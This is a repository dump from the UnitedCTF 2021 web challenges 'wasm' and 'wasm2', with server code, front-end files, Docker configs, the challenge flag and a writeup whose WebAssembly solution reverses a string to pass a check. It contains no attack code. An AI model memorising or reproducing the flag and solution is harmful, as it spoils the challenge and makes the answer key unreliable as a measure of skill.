| 50 | module = wasm.Module(source_data) 51 | 52 | return Response(module.to_bytes(), mimetype='application/wasm') 53 | 54 | if __name__ == '__main__': 55 | app.run(debug=os.environ['ENVIRONMENT'] == 'development', host='0.0.0.0', port=int(os.environ["PORT"])) 56 | -------------------------------------------------------------------------------- /challenges/web/wasm/web/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm/web/public/favicon.ico -------------------------------------------------------------------------------- /challenges/web/wasm/web/public/search.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm/web/public/search.gif -------------------------------------------------------------------------------- /challenges/web/wasm/web/public/too_slow.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm/web/public/too_slow.gif -------------------------------------------------------------------------------- /challenges/web/wasm/web/public/wasm.js: -------------------------------------------------------------------------------- 1 | function too_slow() { 2 | document.querySelector('.gif').src = "./public/too_slow.gif"; 3 | document.querySelector('.title').innerHTML = "Too Slow"; 4 | document.querySelector('.text').innerHTML = "The flag is gone. Refresh the page and try again." 5 | } 6 | 7 | WebAssembly.instantiateStreaming( 8 | fetch('/challenge.wasm'), 9 | { 10 | imports: { 11 | too_slow 12 | } 13 | } 14 | ).then(obj => { 15 | obj.instance.exports.main(); 16 | }); -------------------------------------------------------------------------------- /challenges/web/wasm/web/requirements.txt: -------------------------------------------------------------------------------- 1 | click==8.0.1 2 | Flask==2.0.1 3 | itsdangerous==2.0.1 4 | Jinja2==3.0.1 5 | MarkupSafe==2.0.1 6 | ppci==0.5.8 7 | Werkzeug==2.0.1 8 | -------------------------------------------------------------------------------- /challenges/web/wasm/web/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Debug WASM 4 | 5 | 6 | 18 | 19 | 20 |
21 | 22 |

Can you see it?

23 | You may not be too late! Check 1337 if the flag is there. 24 |
25 | 26 | -------------------------------------------------------------------------------- /challenges/web/wasm2/.dockerignore: -------------------------------------------------------------------------------- 1 | .dockerignore 2 | .gitignore 3 | .venv 4 | .vscode 5 | Dockerfile 6 | docker-compose* 7 | -------------------------------------------------------------------------------- /challenges/web/wasm2/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /challenges/web/wasm2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | 3 | WORKDIR /app 4 | 5 | COPY ./package*.json ./ 6 | 7 | RUN npm install 8 | 9 | COPY . . 10 | 11 | CMD npm start 12 | -------------------------------------------------------------------------------- /challenges/web/wasm2/challenge/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-you_can_write_WASM -------------------------------------------------------------------------------- /challenges/web/wasm2/ctfd/base.wat: -------------------------------------------------------------------------------- 1 | (module 2 | (memory (import "js" "memory") 1) 3 | 4 | (func $put_challenge (import "imports" "put_challenge") (param i32)) 5 | (func $verify_answer (import "imports" "verify_answer") (param i32)) 6 | 7 | (func (export "main") 8 | 9 | ) 10 | ) -------------------------------------------------------------------------------- /challenges/web/wasm2/docker-compose.dev.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | web: 5 | container_name: wasm-2-dev 6 | ports: 7 | - "9696:9696" 8 | environment: 9 | PORT: 9696 10 | ENVIRONMENT: "development" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | restart: always 15 | healthcheck: 16 | test: curl -f http://localhost:1337/healthcheck || false 17 | interval: 60s 18 | timeout: 3s 19 | entrypoint: ["npm", "start"] 20 | volumes: 21 | - ./src:/app/src 22 | - ./views:/app/views 23 | - ./public:/app/public 24 | -------------------------------------------------------------------------------- /challenges/web/wasm2/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | web: 5 | container_name: wasm-2-prod 6 | ports: 7 | - "9696:9696" 8 | environment: 9 | PORT: 9696 10 | ENVIRONMENT: "production" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | restart: always 15 | healthcheck: 16 | test: curl -f http://localhost:9696/healthcheck || false 17 | interval: 60s 18 | timeout: 3s 19 | entrypoint: ["npm", "run", "dev"] 20 | -------------------------------------------------------------------------------- /challenges/web/wasm2/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "united-run-wasm", 3 | "version": "1.0.0", 4 | "description": "Running WASM", 5 | "scripts": { 6 | "start": "ts-node ./src/index.ts", 7 | "dev": "ts-node-dev ./src/index.ts", 8 | "tsci": "tsc --init" 9 | }, 10 | "author": "Alexandre Lavoie", 11 | "license": "MIT", 12 | "devDependencies": { 13 | "@types/express": "^4.17.13", 14 | "@types/express-fileupload": "^1.1.7", 15 | "ts-node-dev": "^1.1.8", 16 | "typescript": "^4.3.5" 17 | }, 18 | "dependencies": { 19 | "ejs": "^3.1.6", 20 | "express": "^4.17.1", 21 | "express-fileupload": "^1.2.1" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /challenges/web/wasm2/public/fail.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm2/public/fail.gif -------------------------------------------------------------------------------- /challenges/web/wasm2/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm2/public/favicon.ico -------------------------------------------------------------------------------- /challenges/web/wasm2/public/success.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm2/public/success.gif -------------------------------------------------------------------------------- /challenges/web/wasm2/public/upload.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm2/public/upload.gif -------------------------------------------------------------------------------- /challenges/web/wasm2/views/index.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | Run WASM 4 | 5 | 17 | 18 | 19 |
20 | 21 |

<%= title %>

22 | <%= text %> 23 |
24 | 25 |
26 | 27 |

28 | 29 |
30 |
31 | 32 | -------------------------------------------------------------------------------- /challenges/web/wasm2/writeup/solution.wat: -------------------------------------------------------------------------------- 1 | (module 2 | (memory (import "js" "memory") 1) 3 | (func $put_challenge (import "imports" "put_challenge") (param i32)) 4 | (func $verify_answer (import "imports" "verify_answer") (param i32)) 5 | 6 | (func (export "main") 7 | (local $i i32) 8 | 9 | (call $put_challenge 10 | (i32.const 0) 11 | ) 12 | 13 | (block $block 14 | (loop $loop 15 | ;; Copy mem[35 - $i] to mem[1337 + $i] 16 | (i32.store8 17 | (i32.add 18 | (i32.const 1337) 19 | (local.get $i) 20 | ) 21 | (i32.load8_u 22 | (i32.sub 23 | (i32.const 35) 24 | (local.get $i) 25 | ) 26 | ) 27 | ) 28 | 29 | ;; $i++ 30 | (local.set $i (i32.add (local.get $i) (i32.const 1))) 31 | 32 | ;; break if i == 36 33 | (br_if $block (i32.eq (local.get $i) (i32.const 36))) 34 | 35 | (br $loop) 36 | ) 37 | ) 38 | 39 | (call $verify_answer 40 | (i32.const 1337) 41 | ) 42 | ) 43 | ) -------------------------------------------------------------------------------- /challenges/web/wasm2/writeup/studio.c: -------------------------------------------------------------------------------- 1 | #define WASM_EXPORT __attribute__((visibility("default"))) 2 | 3 | static char *challenge = "jwt0hw6136fit754kovx4ji2v3n7ru13fyq7"; 4 | 5 | void put_challenge(char *address) { 6 | for(int i = 0; i < 36; i++) { 7 | address[i] = challenge[i]; 8 | } 9 | } 10 | 11 | int verify_answer(char *address) { 12 | for(int i = 0; i < 36; i++) { 13 | if(address[i] != challenge[35 - i]) { 14 | return 0; 15 | } 16 | } 17 | 18 | return 1; 19 | } 20 | 21 | WASM_EXPORT 22 | void reverse_string(char *address) { 23 | for(int i = 0; i < (36 / 2); i++) { 24 | char tmp = address[i]; 25 | address[i] = address[35 - i]; 26 | address[35 - i] = tmp; 27 | } 28 | } 29 | 30 | WASM_EXPORT 31 | int main() { 32 | put_challenge(1337); 33 | 34 | reverse_string(1337); 35 | 36 | return verify_answer(1337); 37 | } 38 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/logo.png --------------------------------------------------------------------------------